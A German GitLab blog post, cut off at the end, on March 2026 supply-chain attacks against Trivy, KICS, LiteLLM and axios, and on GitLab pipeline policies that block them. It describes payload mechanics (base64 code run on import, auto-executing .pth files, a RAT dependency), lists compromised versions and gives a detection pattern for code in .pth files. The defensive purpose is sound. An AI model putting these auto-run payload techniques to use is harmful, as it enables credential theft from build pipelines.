Preisübersicht",{"href":187,"dataGaName":435,"dataGaLocation":409,"icon":436},"back to pricing","GoBack",{"altText":411,"config":438},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":440},{"src":417,"dataGaName":414,"dataGaLocation":409},{"title":442,"button":443,"config":448},"Sieh dir an, wie agentische KI die Softwarebereitstellung transformiert",{"text":444,"config":445},"GitLab Transcend jetzt ansehen",{"href":446,"dataGaName":447,"dataGaLocation":44},"/de-de/events/transcend/virtual/","transcend event",{"layout":449,"icon":450,"disabled":12},"release","AiStar",{"data":452},{"text":453,"source":454,"edit":460,"contribute":465,"config":470,"items":475,"minimal":648},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":455,"config":456},"Quelltext der Seite anzeigen",{"href":457,"dataGaName":458,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":461,"config":462},"Diese Seite bearbeiten",{"href":463,"dataGaName":464,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":466,"config":467},"Beteilige dich",{"href":468,"dataGaName":469,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":471,"facebook":472,"youtube":473,"linkedin":474},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[476,499,554,581,615],{"title":62,"links":477,"subMenu":482},[478],{"text":479,"config":480},"DevSecOps-Plattform",{"href":71,"dataGaName":481,"dataGaLocation":459},"devsecops platform",[483],{"title":185,"links":484},[485,489,494],{"text":486,"config":487},"Tarife anzeigen",{"href":187,"dataGaName":488,"dataGaLocation":459},"view plans",{"text":490,"config":491},"Vorteile von Premium",{"href":492,"dataGaName":493,"dataGaLocation":459},"/de-de/pricing/premium/","why premium",{"text":495,"config":496},"Vorteile von Ultimate",{"href":497,"dataGaName":498,"dataGaLocation":459},"/de-de/pricing/ultimate/","why ultimate",{"title":500,"links":501},"Lösungen",[502,507,510,512,517,522,526,529,532,537,539,541,544,549],{"text":503,"config":504},"Digitale Transformation",{"href":505,"dataGaName":506,"dataGaLocation":459},"/de-de/topics/digital-transformation/","digital transformation",{"text":508,"config":509},"Sicherheit und Compliance",{"href":127,"dataGaName":134,"dataGaLocation":459},{"text":119,"config":511},{"href":103,"dataGaName":104,"dataGaLocation":459},{"text":513,"config":514},"Agile Entwicklung",{"href":515,"dataGaName":516,"dataGaLocation":459},"/de-de/solutions/agile-delivery/","agile delivery",{"text":518,"config":519},"Cloud-Transformation",{"href":520,"dataGaName":521,"dataGaLocation":459},"/de-de/topics/cloud-native/","cloud transformation",{"text":523,"config":524},"SCM",{"href":116,"dataGaName":525,"dataGaLocation":459},"source code management",{"text":107,"config":527},{"href":109,"dataGaName":528,"dataGaLocation":459},"continuous integration & delivery",{"text":157,"config":530},{"href":159,"dataGaName":531,"dataGaLocation":459},"value stream management",{"text":533,"config":534},"GitOps",{"href":535,"dataGaName":536,"dataGaLocation":459},"/de-de/solutions/gitops/","gitops",{"text":170,"config":538},{"href":172,"dataGaName":173,"dataGaLocation":459},{"text":175,"config":540},{"href":177,"dataGaName":178,"dataGaLocation":459},{"text":542,"config":543},"Öffentlicher Sektor",{"href":182,"dataGaName":183,"dataGaLocation":459},{"text":545,"config":546},"Bildungswesen",{"href":547,"dataGaName":548,"dataGaLocation":459},"/de-de/solutions/education/","education",{"text":550,"config":551},"Finanzdienstleistungen",{"href":552,"dataGaName":553,"dataGaLocation":459},"/de-de/solutions/finance/","financial services",{"title":190,"links":555},[556,558,560,562,565,567,569,571,573,575,577,579],{"text":202,"config":557},{"href":204,"dataGaName":205,"dataGaLocation":459},{"text":207,"config":559},{"href":209,"dataGaName":210,"dataGaLocation":459},{"text":212,"config":561},{"href":214,"dataGaName":215,"dataGaLocation":459},{"text":217,"config":563},{"href":219,"dataGaName":564,"dataGaLocation":459},"docs",{"text":240,"config":566},{"href":242,"dataGaName":243,"dataGaLocation":459},{"text":235,"config":568},{"href":237,"dataGaName":238,"dataGaLocation":459},{"text":245,"config":570},{"href":247,"dataGaName":248,"dataGaLocation":459},{"text":253,"config":572},{"href":255,"dataGaName":256,"dataGaLocation":459},{"text":258,"config":574},{"href":260,"dataGaName":261,"dataGaLocation":459},{"text":263,"config":576},{"href":265,"dataGaName":266,"dataGaLocation":459},{"text":268,"config":578},{"href":270,"dataGaName":271,"dataGaLocation":459},{"text":273,"config":580},{"href":275,"dataGaName":276,"dataGaLocation":459},{"title":291,"links":582},[583,585,587,589,591,593,595,599,604,606,608,610],{"text":298,"config":584},{"href":300,"dataGaName":293,"dataGaLocation":459},{"text":303,"config":586},{"href":305,"dataGaName":306,"dataGaLocation":459},{"text":311,"config":588},{"href":313,"dataGaName":314,"dataGaLocation":459},{"text":316,"config":590},{"href":318,"dataGaName":319,"dataGaLocation":459},{"text":321,"config":592},{"href":323,"dataGaName":324,"dataGaLocation":459},{"text":326,"config":594},{"href":328,"dataGaName":329,"dataGaLocation":459},{"text":596,"config":597},"Sustainability",{"href":598,"dataGaName":596,"dataGaLocation":459},"/sustainability/",{"text":600,"config":601},"Vielfalt, Inklusion und Zugehörigkeit",{"href":602,"dataGaName":603,"dataGaLocation":459},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":331,"config":605},{"href":333,"dataGaName":334,"dataGaLocation":459},{"text":341,"config":607},{"href":343,"dataGaName":344,"dataGaLocation":459},{"text":346,"config":609},{"href":348,"dataGaName":349,"dataGaLocation":459},{"text":611,"config":612},"Transparenzerklärung zu moderner Sklaverei",{"href":613,"dataGaName":614,"dataGaLocation":459},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":616,"links":617},"Nimm Kontakt auf",[618,621,626,628,633,638,643],{"text":619,"config":620},"Sprich mit einem Experten/einer Expertin",{"href":53,"dataGaName":54,"dataGaLocation":459},{"text":622,"config":623},"Support",{"href":624,"dataGaName":625,"dataGaLocation":459},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":365,"config":627},{"href":367,"dataGaName":368,"dataGaLocation":459},{"text":629,"config":630},"Status",{"href":631,"dataGaName":632,"dataGaLocation":459},"https://status.gitlab.com/","status",{"text":634,"config":635},"Nutzungsbedingungen",{"href":636,"dataGaName":637,"dataGaLocation":459},"/terms/","terms of use",{"text":639,"config":640},"Datenschutzerklärung",{"href":641,"dataGaName":642,"dataGaLocation":459},"/de-de/privacy/","privacy statement",{"text":644,"config":645},"Cookie-Einstellungen",{"dataGaName":646,"dataGaLocation":459,"id":647,"isOneTrustButton":12},"cookie preferences","ot-sdk-btn",{"items":649},[650,652,654],{"text":634,"config":651},{"href":636,"dataGaName":637,"dataGaLocation":459},{"text":639,"config":653},{"href":641,"dataGaName":642,"dataGaLocation":459},{"text":644,"config":655},{"dataGaName":646,"dataGaLocation":459,"id":647,"isOneTrustButton":12},[657,670],{"id":658,"title":25,"body":9,"config":659,"content":661,"description":9,"extension":27,"meta":665,"navigation":12,"path":666,"seo":667,"stem":668,"__hash__":669},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":660},"BlogAuthor",{"name":25,"config":662},{"headshot":663,"ctfId":664},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":671,"title":26,"body":9,"config":672,"content":674,"description":9,"extension":27,"meta":677,"navigation":12,"path":678,"seo":679,"stem":680,"__hash__":681},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":660,"gitlabHandle":673},"dabeles",{"name":26,"config":675},{"headshot":676},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764021550/s0jlolynjykik4qzfznr.png",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","Jk9qNn2qJBh633zCEZSFpYFUYNt83twJ-Ge9wrn_oT0",[683,698],{"content":684,"config":696},{"body":685,"title":686,"description":687,"category":10,"tags":688,"authors":692,"heroImage":694,"date":695},"\n***Hinweis: Das GitLab-Produkt hat keine der in diesem Beitrag genannten kompromittierten Paketversionen verwendet.***\n\n\nInnerhalb von 12 Tagen haben vier separate Supply-Chain-Angriffe gezeigt, dass CI/CD-Pipelines zu einem bevorzugten Ziel für versierte Bedrohungsakteure geworden sind.\n\n\nZwischen dem 19. und 31. März 2026 kompromittierten Angreifer:\n\n\n* einen Open-Source-Security-Scanner (Trivy)\n\n* einen Infrastructure-as-Code-Scanner (Checkmarx KICS)\n\n* ein AI-Model-Gateway (LiteLLM)\n\n* einen JavaScript-HTTP-Client (axios)\n\n\nAlle Angriffe teilten dieselbe Angriffsfläche: die Build-Pipeline.\n\nDieser Artikel zeigt, [was passiert ist](#trusted-by-millions-compromised-in-minutes), [warum Pipelines besonders anfällig sein können](#the-patterns-behind-these-attacks) und wie zentrale Policy-Durchsetzung mit GitLab – mithilfe der unten beschriebenen Policies – diese Angriffsklassen [blockieren, erkennen und eindämmen](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) kann, bevor sie die Produktion erreichen.\n\n\n\n## Millionenfach vertraut, in Minuten kompromittiert\n\n\nHier die Zeitleiste der Supply-Chain-Angriffe:\n\n\n### 19. März: Trivy-Security-Scanner wird zum Angriffsvektor\n\n\n[Trivy](https://github.com/aquasecurity/trivy) ist einer der weltweit am häufigsten eingesetzten Open-Source-Vulnerability-Scanner. Es ist das Tool, das Teams *innerhalb ihrer Pipelines* ausführen, um Schwachstellen zu finden.\n\n\nAm 19. März nutzte eine Bedrohungsgruppe namens [TeamPCP kompromittierte Zugangsdaten](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/), um Schadcode per Force-Push in 76 von 77 Versions-Tags der GitHub Action `aquasecurity/trivy-action` sowie alle 7 Tags von `aquasecurity/setup-trivy` einzuschleusen. Gleichzeitig veröffentlichten sie ein trojanisiertes Trivy-Binary (v0.69.4) über offizielle Distributionskanäle. Die Payload war eine Credential-Stealing-Malware, die Umgebungsvariablen, Cloud-Tokens, SSH-Schlüssel und CI/CD-Secrets aus jeder Pipeline exfiltrierte, die einen Trivy-Scan ausführte.\n\n\nDem Vorfall wurde [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) mit einem CVSS-Score von 9,4 zugewiesen. Die Cybersecurity and Infrastructure Security Agency (CISA) nahm ihn innerhalb weniger Tage in den Katalog der bekannten ausgenutzten Schwachstellen auf.\n\n\n### 23. März: Checkmarx KICS als nächstes Ziel\n\nMit gestohlenen Zugangsdaten wandte sich TeamPCP dem Open-Source-Projekt KICS (Keeping Infrastructure as Code Secure) von Checkmarx zu. Sie kompromittierten die GitHub Actions `ast-github-action` und `kics-github-action` und [schleusten dieselbe Credential-Stealing-Malware ein](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Zwischen 12:58 und 16:50 UTC am 23. März exfiltrierte jede CI/CD-Pipeline, die diese Actions referenzierte, im Hintergrund sensible Daten – darunter API-Schlüssel, Datenbankpasswörter, Cloud-Access-Tokens, SSH-Schlüssel und Service-Account-Zugangsdaten.\n\n\n### 24. März: LiteLLM über gestohlene Trivy-Zugangsdaten kompromittiert\n\n\nLiteLLM, ein LLM-API-Proxy mit 95 Millionen monatlichen Downloads, war das nächste Ziel. TeamPCP [veröffentlichte kompromittierte Versionen](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 und 1.82.8) auf PyPI – mithilfe von Zugangsdaten, die aus LiteLLMs eigener CI/CD-Pipeline erbeutet wurden, in der Trivy zum Scannen eingesetzt wurde.\n\n\nDie Malware in Version 1.82.7 nutzte eine Base64-kodierte Payload, die direkt in `litellm/proxy/proxy_server.py` injiziert wurde und beim Import ausgeführt wurde. Die Version für 1.82.8 verwendete eine `.pth`-Datei – ein Python-Mechanismus, der automatisch beim Interpreter-Start ausgeführt wird. Allein die Installation von LiteLLM reichte aus, um die Payload auszulösen. Die Angreifer verschlüsselten die erbeuteten Daten (SSH-Schlüssel, Cloud-Tokens, .env-Dateien, Kryptowährungs-Wallets) und exfiltrierten sie an `models.litellm.cloud`, eine Lookalike-Domain.\n\n\n### 31. März: Quellcode eines AI-Coding-Assistenten durch einfachen Packaging-Fehler geleakt\n\nWährend die TeamPCP-Kampagne noch andauerte, lieferte ein Softwareunternehmen ein npm-Paket mit einer 59,8 MB großen Source-Map-Datei aus – die den vollständigen, unminifizierten TypeScript-Quellcode seines AI-Coding-Assistenten referenzierte, gehostet im eigenen Cloudflare-R2-Bucket des Unternehmens.\n\n\nDas Leak legte 1.900 TypeScript-Dateien, über 512.000 Codezeilen, 44 versteckte Feature-Flags, unveröffentlichte Modell-Codenamen und den vollständigen System-Prompt offen – für jeden, der wusste, wo er suchen musste. Wie der Entwickler [Gabriel Anhaia erklärte](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo): „Eine einzige falsch konfigurierte .npmignore- oder files-Angabe in der package.json kann alles offenlegen.\"\n\n### 31. März: axios und ein weiterer Trojaner in der Supply Chain\n\nAm selben Tag zielte eine weitere Kampagne [auf das npm-Paket axios](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html) – einen JavaScript-HTTP-Client mit über 100 Millionen wöchentlichen Downloads.\n\n\nÜber ein kompromittiertes Maintainer-Konto wurden manipulierte Versionen (1.14.1 und 0.30.4) veröffentlicht. Eine eingeschleuste Dependency (`plain-crypto-js@4.2.1`) installierte einen Remote-Access-Trojaner, der unter macOS, Windows und Linux lauffähig war. Beide Release-Branches wurden innerhalb von 39 Minuten getroffen, und die Malware war so konzipiert, dass sie sich nach der Ausführung selbst löschte.\n\n\n## Die Muster hinter diesen Angriffen\n\n\nÜber alle fünf Vorfälle hinweg zeichnen sich drei Angriffsmuster ab – und alle nutzen das implizite Vertrauen aus, das CI/CD-Pipelines ihren Eingaben entgegenbringen.\n\n\n### Muster 1: Vergiftete Tools und Actions\n\n\nDie TeamPCP-Kampagne nutzte eine grundlegende Annahme aus: dass die Sicherheitstools, die *innerhalb* der Pipeline laufen, selbst vertrauenswürdig sind. Wenn ein GitHub-Action-Tag oder eine PyPI-Paketversion auf Schadcode verweist, führt die Pipeline diesen mit vollem Zugriff auf Umgebungs-Secrets, Cloud-Zugangsdaten und Deployment-Tokens aus. Es gibt keinen Verifizierungsschritt, weil die Pipeline dem Tag vertraut.\n\n\n**Empfohlene Pipeline-Kontrolle:** Tools und Actions an unveränderliche Referenzen (Commit-SHAs oder Image-Digests) pinnen statt an veränderliche Versions-Tags. Wo Pinning nicht praktikabel ist, die Integrität von Tools und Dependencies gegen bekannte Prüfsummen oder Signaturen verifizieren. Die Ausführung blockieren, wenn die Verifizierung fehlschlägt.\n\n\n### Muster 2: Packaging-Fehlkonfigurationen, die IP leaken\n\n\nEine fehlkonfigurierte Build-Pipeline lieferte Debugging-Artefakte direkt im Produktionspaket aus. Eine falsch konfigurierte `.npmignore`- oder files-Angabe in der package.json reicht dafür aus. Ein Validierungsschritt vor der Veröffentlichung sollte das jedes Mal abfangen.\n\n\n**Empfohlene Pipeline-Kontrolle:** Vor jeder Paketveröffentlichung automatisierte Prüfungen ausführen, die den Paketinhalt gegen eine Allowlist validieren, unerwartete Dateien (Source Maps, interne Konfigurationen, .env-Dateien) kennzeichnen und den Publish-Schritt blockieren, wenn die Prüfungen fehlschlagen.\n\n\n### Muster 3: Schwachstellen in transitiven Dependencies\n\n\nDer axios-Angriff zielte nicht nur auf direkte axios-Nutzer, sondern auf jeden, dessen Dependency-Tree auf die kompromittierte Version auflöste. Eine einzige vergiftete Dependency in einem Lockfile kann sich so über die gesamte Build-Infrastruktur einer Organisation ausbreiten.\n\n\n**Empfohlene Pipeline-Kontrolle:** Dependency-Prüfsummen gegen den bekannten Lockfile-Stand vergleichen. Unerwartete neue Dependencies oder Versionsänderungen erkennen. Builds blockieren, die nicht verifizierte Pakete einführen.\n\n\n## Wie GitLab Pipeline Execution Policies jedes Angriffsmuster adressieren\n\n\nGitLab Pipeline Execution Policies ([PEPs](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) ermöglichen es Security- und Plattformteams, verpflichtende CI/CD-Jobs in jede Pipeline einer Organisation einzufügen – unabhängig davon, was in der `.gitlab-ci.yml` definiert ist. Durch PEPs definierte Jobs können nicht übersprungen werden, auch nicht mit den Direktiven `[skip ci]` oder `[no_pipeline]`. Jobs können in *reservierten* Stages (`.pipeline-policy-pre` und `.pipeline-policy-post`) ausgeführt werden, die die Pipeline des Entwicklungsteams einrahmen.\n\n\nWir haben einsatzbereite Pipeline Execution Policies für alle drei Muster als Open-Source-Projekt veröffentlicht: [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). Diese Policies sind unabhängig voneinander deploybar, und jede wird mit Testdaten für Verstöße ausgeliefert, um sie vorab zu testen. So funktioniert jede einzelne.\n\n\n### Use Case 1: Versehentliche Offenlegung beim Package-Publishing verhindern\n\n\n**Problem:** Eine Source-Map-Datei landete im npm-Paket eines AI-Coding-Tools, weil die Build-Pipeline die Validierung beim Publishing übersprungen hatte.\n\n\n**PEP-Ansatz:** Wir haben eine Open-Source Pipeline Execution Policy für genau diese Fehlerklasse erstellt: [Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\n\nDie Policy injiziert `.pipeline-policy-pre`-Jobs, die den Artefakttyp (npm-Paket, Docker-Image oder Helm-Chart) automatisch erkennen und den Inhalt prüfen, bevor ein Publish-Schritt ausgeführt wird. Für npm-Pakete führt sie drei Prüfungen durch:\n\n\n1. **File-Pattern-Blocklist.** Scannt die npm-pack-Ausgabe nach Source Maps (.map), Testverzeichnissen, Build-Konfigurationen, IDE-Einstellungen und src/-Verzeichnissen.\n\n\n2. **Package-Size-Gate.** Blockiert Pakete über 50 MB – wie das 59,8-MB-Paket, das den AI-Tool-Quellcode leakte.\n\n\n3. **sourceMappingURL-Scan.** Erkennt externe URLs (das R2-Bucket-Muster, das den Quellcode eines großen AI-Unternehmens offenlegte), Inline-data:-URIs und lokale Dateireferenzen in JavaScript-Bundles.\n\n\nWenn Verstöße gefunden werden, schlägt die Pipeline mit einem klaren Bericht in den CI-Job-Logs fehl:\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy.\nIf this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nDie Policy hat keine vom Nutzer konfigurierbaren CI-Variablen. Das Entwicklungsteam kann sie weder deaktivieren noch umgehen. Ausnahmen werden vom Security-Team auf Policy-Ebene verwaltet – das gewährleistet einen bewussten Prozess und einen lückenlosen Audit-Trail.\n\n\nDas Repository enthält ein Testprojekt mit absichtlichen Verstößen (examples/leaky-npm-package/), um die Policy in Aktion zu sehen, bevor sie in der Organisation ausgerollt wird. Die [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) enthält eine vollständige Schnellstart-Anleitung für Einrichtung und Deployment.\n\n\n**Was das abfängt:** Jede einzelne dieser Kontrollen hätte das Source-Code-Leak des AI-Unternehmens wahrscheinlich verhindert:\n\n\n* Die Source-Map-Datei löst die File-Pattern-Blocklist aus.\n\n* Die Größe von 59,8 MB löst das Size-Gate aus.\n\n* Die sourceMappingURL mit Verweis auf einen externen R2-Bucket löst den URL-Scan aus.\n\n\n### Use Case 2: Dependency-Tampering und Lockfile-Manipulation erkennen\n\n\n**Problem:** Der axios-Angriff führte eine bösartige transitive Dependency (`plain-crypto-js`) ein, die bei der Installation einen RAT ausführte. Jeder, der während des Kompromittierungsfensters `npm install` ausführte, zog den Trojaner mit.\n\n\n**PEP-Ansatz:** Die [Dependency Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injiziert .pipeline-policy-pre-Jobs, die das Paket-Ökosystem (npm oder Python) automatisch erkennen und drei Prüfungen durchführen:\n\n\n**Für npm-Projekte** (ausgelöst durch `package-lock.json`, `yarn.lock` oder `pnpm-lock.yaml`):\n\n\n1. **Lockfile-Integrität.** Führt `npm ci --ignore-scripts` aus, was fehlschlägt, wenn sich `node_modules` vom Lockfile-Stand unterscheiden würden. Dies erkennt Fälle, in denen die package.json aktualisiert, aber das Lockfile nicht neu generiert wurde, und verifiziert gleichzeitig SRI-Integritäts-Hashes.\n\n2. **Blocked-Package-Scan.** Gleicht den vollständigen Dependency-Tree des Lockfiles mit `blocked-packages.yml` ab – einer von GitLab gepflegten Liste bekannter kompromittierter Paketversionen. Die mitgelieferte Blocklist enthält `axios@1.14.1`, `axios@0.30.4` und `plain-crypto-js@4.2.1`.\n\n3. **Erkennung nicht deklarierter Dependencies.** Vergleicht nach der Installation den Inhalt von node_modules mit dem Lockfile. Jedes Paket, das auf der Festplatte vorhanden, aber nicht im Lockfile aufgeführt ist, deutet auf Manipulation hin (z. B. ein kompromittiertes postinstall-Skript, das zusätzliche Pakete nachlädt).\n\n\n**Für Python-Projekte** (ausgelöst durch `requirements.txt`, `Pipfile.lock`, `poetry.lock` oder `uv.lock`):\n\n\n1. **Lockfile-Integrität.** Installation in einer isolierten virtuellen Umgebung mit Verifizierung, dass die Installation aus dem Lockfile erfolgreich ist.\n\n2. **Blocked-Package-Scan.** Derselbe Blocklist-Ansatz. Die mitgelieferte Liste enthält `litellm==1.82.7` und `litellm==1.82.8`.\n\n3. **.pth-Datei-Erkennung.** Scannt site-packages nach `.pth`-Dateien, die ausführbare Code-Muster enthalten (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). Genau diesen Mechanismus nutzte die LiteLLM-Backdoor.\n\n\nBei einem erkannten Verstoß:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Policy läuft im *Strict Mode*: Jede Dependency, die nicht im committeten Lockfile vorhanden ist, blockiert die Pipeline. Wenn eine neue Dependency hinzugefügt werden soll, wird das aktualisierte Lockfile committet. Die Policy verifiziert, dass die installierte Version mit der committeten Version übereinstimmt. Wenn etwas auftaucht, das nicht committet wurde (z. B. eine transitive Dependency, die über ein kompromittiertes Upstream-Paket injiziert wurde), blockiert die Pipeline.\n\n\n**Was das abfängt:** Die Einführung von `plain-crypto-js` als neue, bisher unbekannte Dependency würde durch die Erkennung nicht deklarierter Dependencies gemeldet. Die Version `axios@1.14.1` wird durch den Blocked-Package-Scan erkannt. Die `.pth`-Datei von LiteLLM wird durch die .pth-Erkennung gefunden. Jeder Angriff hat mindestens ein – und oft zwei – unabhängige Erkennungssignale.\n\n\n### Use Case 3: Kompromittierte Tools vor der Ausführung erkennen und blockieren\n\n\n**Problem:** TeamPCP ersetzte vertrauenswürdige Trivy- und Checkmarx-GitHub-Action-Tags durch bösartige Versionen. Jede Pipeline, die diese Tags referenzierte, führte Credential-Stealing-Malware aus.\n\n\n**PEP-Ansatz:** Die [Tool Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injiziert einen `.pipeline-policy-pre`-Job, der die GitLab CI Lint API abfragt (oder als Fallback die `.gitlab-ci.yml` auswertet), die Container-Image-Referenzen extrahiert und mit einer vom Security-Team gepflegten Allowlist genehmigter Images abgleicht.\n\n\nDie Allowlist (`approved-images.yml`) unterstützt drei Kontrollen pro Image:\n\n\n**Genehmigte Repositories:** Nur Images aus gelisteten Repositories sind zulässig. Ein unbekanntes Repository blockiert die Pipeline.\n\n\n**Erlaubte Tags:** Innerhalb eines genehmigten Repositorys sind nur bestimmte Tags zulässig. Das verhindert den Drift zu ungetesteten Versionen.\n\n\n**Blockierte Tags:** Bekannte kompromittierte Versionen können explizit blockiert werden, selbst wenn das Repository genehmigt ist. Die mitgelieferte Allowlist blockiert `aquasec/trivy:0.69.4` bis `0.69.6` – genau die Versionen, die TeamPCP trojanisiert hatte.\n\n\nBei einem erkannten Verstoß schlägt die Pipeline fehl, bevor ein anderer Job ausgeführt wird:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n - tag '0.69.4' is known-compromised\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Allowlist wird über Merge Requests gegen das Policy-Projekt gepflegt. Um ein neues genehmigtes Image hinzuzufügen, öffnet das Security-Team einen MR. Um auf eine neue Kompromittierung zu reagieren, wird ein blockierter Tag hinzugefügt. Keine Code-Änderungen nötig – nur YAML.\n\n\n**Was das abfängt:** Wenn Images mit nicht genehmigten Tags erkannt werden, vergleicht die Policy die Image-Repository-Namen und Tags mit der Allowlist. Ein fehlgeschlagener Abgleich blockiert die Pipeline, bevor ein Scanner ausgeführt wird – und verhindert so die Exfiltration von Zugangsdaten.\n\n\n*Hinweis: Durch Erweiterung des obigen Beispiels können PEPs auch das Pinning auf Digests statt Tags erzwingen, was gegen Force-Pushes immun ist. Dieses Beispiel demonstriert ein einfacheres Tag-basiertes Enforcement-Muster.*\n\n\n## Über PEPs hinaus: GitLabs Supply-Chain-Schutzmaßnahmen\n\n\nPipeline Execution Policies sind die Enforcement-Schicht – sie funktionieren aber am besten als Teil einer breiteren Defense-in-Depth-Strategie. GitLab bietet mehrere Funktionen, die PEPs beim Supply-Chain-Schutz ergänzen:\n\n\n### Secret Detection\n\n\n[GitLab Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) verhindert, dass Zugangsdaten überhaupt im Repository landen, und reduziert so erheblich, was ein kompromittiertes Pipeline-Tool abgreifen kann. Im Kontext der Angriffe vom März 2026:\n\n\n* In Repositories gespeicherte Zugangsdaten sind sowohl leichter für Angreifer auffindbar als auch langsamer zu rotieren. Der Trivy-Vorfall zeigte, dass selbst der Rotationsprozess ausgenutzt werden kann: Die Rotation von Aqua Security war nicht atomar, und der Angreifer erbeutete neu ausgestellte Tokens, bevor die alten vollständig widerrufen waren. GitLab Secret Detection umfasst die automatische Revokation geleakter GitLab-Tokens sowie eine Partner-API, die Drittanbieter benachrichtigt, damit diese ihre Zugangsdaten widerrufen – das beschleunigt die Reaktion im Falle eines Sicherheitsvorfalls.\n\n\n* Secret Detection in Kombination mit ordnungsgemäßem Secret-Management (kurzlebige Tokens, Vault-gestützte Zugangsdaten, minimale Pipeline-Secret-Exposition) begrenzt, was ein Angreifer erreichen kann – selbst wenn ein vertrauenswürdiges Tool kompromittiert wird.\n\n\n### Dependency Scanning via Software Composition Analysis (SCA)\n\n\n[GitLab Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) identifiziert bekannte Schwachstellen in Projektabhängigkeiten durch Analyse von Lockfiles und Manifests. Im Kontext der Angriffe vom März 2026:\n\n\n* Für LiteLLM werden die kompromittierten Versionen (1.82.7, 1.82.8) in GitLabs Advisory-Datenbank geführt und betroffene Python-Projekte automatisch gemeldet.\n\n\n* Für axios identifiziert Dependency Scanning die kompromittierten Versionen (1.14.1, 0.30.4) über alle Projekte der Organisation hinweg – das gibt Security-Teams eine zentrale Ansicht zur Bewertung des Blast-Radius und zur Priorisierung der Credential-Rotation.\n\n\n* Ebenso werden alle npm-Pakete, die durch die CanisterWorm-Propagation von TeamPCP kompromittiert wurden, gemeldet, wenn sie in Verwendung sind.\n\n\n[GitLab Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) erkennt verwundbare Container-Images in den Deployments. Für den Trivy-Vorfall meldet Container Scanning die trojanisierten Trivy-Docker-Images (0.69.4 bis 0.69.6), wenn sie in der Container Registry oder in Deployment-Manifests auftauchen.\n\n\n### Merge-Request-Approval-Policies\n\n\n[Merge-Request-Approval-Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) können die Genehmigung durch das Security-Team erfordern, bevor Änderungen an Dependency-Lockfiles oder CI/CD-Konfigurationen gemergt werden. Das stellt einen menschlichen Kontrollpunkt für genau die Art von Änderungen sicher, die Supply-Chain-Angriffe typischerweise einführen.\n\n\n### Demnächst: Dependency Firewall, Artifact Registry und SLSA Level 3 Attestation & Verification\n\n\nKommende Supply-Chain-Sicherheitsfunktionen in GitLab härten die Policy-Durchsetzung an zwei kritischen Kontrollpunkten: der Registry und der Pipeline. Die Dependency Firewall und Artifact Registry werden nicht-konforme Pakete blockieren, während die SLSA-Level-3-Attestation kryptografischen Nachweis liefert, dass Artefakte von genehmigten Pipelines erzeugt wurden und unverändert geblieben sind. Zusammen geben sie Security-Teams verifizierbare Kontrolle darüber, was in die Software-Supply-Chain eingeht und diese verlässt.\n\n\n## Was das für deine Organisation bedeutet\n\n\nInmitten zunehmender AI-gestützter Bedrohungen werden Angriffe auf CI/CD-Pipelines alltäglich. Die TeamPCP-Kampagne zeigt, wie ein einziges kompromittiertes Zugangsdaten-Set über ein Ökosystem vertrauenswürdiger 